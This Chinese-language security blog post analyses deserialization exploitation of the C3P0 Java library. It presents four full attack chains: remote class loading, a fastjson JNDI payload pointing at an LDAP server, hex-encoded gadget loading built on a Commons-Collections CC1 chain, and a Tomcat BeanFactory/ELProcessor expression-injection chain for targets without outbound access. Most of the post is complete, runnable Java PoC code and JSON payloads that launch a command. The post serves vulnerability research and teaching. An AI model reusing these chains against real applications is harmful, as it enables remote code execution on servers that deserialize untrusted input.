0%

C3P0利用分析

前言

C3P0存在原生反序列化三种利用方式、拓展利用点

1.Java 原生态反序列化利用链 - 加载远程类

2.Json 反序列化利用链 - JNDI

3.Json 反序列化利用链 - HEX序列化字节加载器

4.拓展:Java 原生态反序列化利用链 - 不出网利用

环境

maven导入,0.9.5.5为最新版本(2019)

<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.5</version>
</dependency>
</dependencies>

加载远程类

利用点在 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.java 类中的 writeObject 与 readObject

一、先看 **PoolBackedDataSourceBase#writeObject()**,首先有一个 try/catch

尝试去序列化 connectionPoolDataSource

image-20220622174952329

而 connectionPoolDataSource 的类型不是可序列化的

image-20220622175026780

所以进入到catch中,实例化一个 ReferenceIndirector 类型对象,然后调用 indirectForm(),传入的参数为 connectionPoolDataSource

image-20220622175127712

跟进 ReferenceIndirector#indirectForm()

通过 getReference() 赋值给 Reference 类型的变量 ref,然后通过 ReferenceSerialized 类的构造方法 然后赋值给 reference 变量。

image-20220622175830106

只要实现一个类实现了 Referenceable 接口和 ConnectionPoolDataSource 接口,然后重写 getReference() 里去实例化一个 Reference 对象即可满足上面的条件。所以可控 ref 的值

image-20220622215017253

Reference的构造方法:可控 classFactoryclassFactoryLocation 下面构造payload有用

image-20220622215114303

二、再看 PoolBackedDataSourceBase#readObject() 调用 ReferenceSerialized#getObject()

image-20220622212211447

contextName不可控,跳过if,然后调用了 ReferenceableUtils#referenceToObject() 而且第一个参数我们可控

image-20220622212705304

跟进调用,利用远程类加载器(URLClassLoader),通过 getter 方法去加载可控类名(fClassName),最后Class.forName()第二个参数为true,即表示初始化类时加载static代码块

image-20220622213506594

poc,远程开一个服务

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class Test {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
poc POC = new poc("calc", "http://127.0.0.1:6666/");
setFieldValue(poolBackedDataSourceBase,"connectionPoolDataSource",POC);
//serialize(poolBackedDataSourceBase);
unserialize();
}

public static class poc implements ConnectionPoolDataSource, Referenceable{
public String classFactory;
public String classFactoryLocation;

public poc(String classFactory,String classFactoryLocation){
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}

@Override
public Reference getReference() throws NamingException {
return new Reference("Y0ng",this.classFactory,this.classFactoryLocation);
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

public static void serialize(Object obj) throws Exception {
FileOutputStream file = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(file);
oos.writeObject(obj);
oos.close();
}


public static void unserialize() throws Exception{
FileInputStream file = new FileInputStream("ser.bin");
ObjectInputStream ois = new ObjectInputStream(file);
Object o = ois.readObject();
//return o;
}

public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

JNDI

这里以尝试挖掘的思路跟一下,ctrl+shift+F全局搜索一下lookup关键字,C3P0中也就10个结果,以 JndiRefForwardingDataSource

image-20220623225906987

可以看到,都是在 dereference() 被调用,参数 jndiName 通过 getter 方法获取

image-20220623230003748

那么先看一下 setter 方法,JndiRefDataSourceBase#setJndiName() ,这里关于 PropertyChangeEvent监听javabean的变化 设置了jndiName的值

image-20220623230458934

那么再看一下 dereference() ,ALT+F7 查找调用处,inner() 进行调用

image-20220623230736890

发现 inner() 都是通过 setter和getter进行调用

image-20220623232109498

综上,切合 fastjson 利用条件

poc:起一个marshalsec的 ldap

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc"}

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc", "loginTimeout":0}

另外,发现 C3P0PooledDataSource 也存在相同的利用点,但是 rebind()方法中parse一直出错

image-20220624001633007

HEX序列化字节加载器

更多的是利用 fastjson,Snake YAML , JYAML,Yamlbeans , Jackson,Blazeds,Red5, Castor 来打二次反序列化

WrapperConnectionPoolDataSourceBase#setUserOverridesAsString() 中设置 userOverridesAsString 的值后,当调用set方法 setUpPropertyListeners 时就能触发,而这个监听器正好在设置完userOverridesAsString就会调用

image-20220624172723646

**WrapperConnectionPoolDataSource#setUpPropertyListeners()**,中调用了 parseUserOverridesAsString

image-20220624172759074

parseUserOverridesAsString,截取字符串,HASM_HEADER 为定值 HexAsciiSerializedMap,所以构造的payload需要符合这样形式

"HexAsciiSerializedMap:"+HexString+":"

然后将hex转为byte调用 SerializableUtils#fromByteArray()

image-20220624173050121

然后就是调用原生反序列化,搭配其他的Gadget,比如CC、CB,在框架中还能注入内存马

image-20220624173509189

poc,以CC1为例

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "bbb");
Map<Object, Object> transformMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = c.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object o = cons.newInstance(Retention.class, transformMap);
serialize(o);

byte[] bytes = Files.readAllBytes(Paths.get("ser.bin"));
String hex = bytesToHexString(bytes,bytes.length);

String poc = "{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+hex+";\"}}";
JSON.parseObject(poc);
}

public static void serialize(Object obj) throws Exception {
FileOutputStream file = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(file);
oos.writeObject(obj);
oos.close();
}

public static void unserialize() throws Exception{
FileInputStream file = new FileInputStream("ser.bin");
ObjectInputStream ois = new ObjectInputStream(file);
Object o = ois.readObject();
}

public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);

for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}

sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}

不出网利用

环境:反序列化点

先回顾一下 getObject()中,其实如果通过这三种方法去修改contextName的值,就可以直接 JNDI 的利用,在一道CTF题目中,有提到这点实现 ljctr wp ,但是比较麻烦,所以略过。

  1. 修改C3P0源代码 比较简单
  2. 通过agent技术去修改源代码
  3. 像jre8u20 gadgets一样去操作反序列化的字节码(有点麻烦 理论上肯定可以)

image-20220624192203940

跟到 referenceToObject() 中,加载远程类是通过getFactoryClassLocation获取到URLClassloader,通过Class.forName进行远程触发,如果获取为null,就会获取当前线程的ClassLoader,然后实例化一个对象,最后在return的时候调用这个对象的 getObjectInstance()**,在高版本JDK中的一种绕过方法,利用Tomcat的getObjectInstance方法调用ELProcessor的eval方法实现表达式注入**

org.apache.naming.factory.BeanFactory在getObjectInstance()中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。
而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的

image-20220624192431258

poc

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;


import javax.naming.*;

import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class Test {
public static void main(String[] args) throws Exception {

PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
poc POC = new poc("org.apache.naming.factory.BeanFactory", null);
setFieldValue(poolBackedDataSourceBase,"connectionPoolDataSource",POC);
serialize(poolBackedDataSourceBase);
unserialize();
}

public static class poc implements ConnectionPoolDataSource, Referenceable{
public String classFactory;
public String classFactoryLocation;

public poc(String classFactory,String classFactoryLocation){
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}

@Override
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String cmd = "calc";
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()\")"));
return ref;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

public static void serialize(Object obj) throws Exception {
FileOutputStream file = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(file);
oos.writeObject(obj);
oos.close();
}


public static void unserialize() throws Exception{
FileInputStream file = new FileInputStream("ser.bin");
ObjectInputStream ois = new ObjectInputStream(file);
Object o = ois.readObject();
//return o;
}

public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

参考

Java安全之C3P0利用与分析-Zh1z3ven

C3P0反序列化链学习

JAVA反序列化之C3P0不出网利用 | 雨了个雨’s blog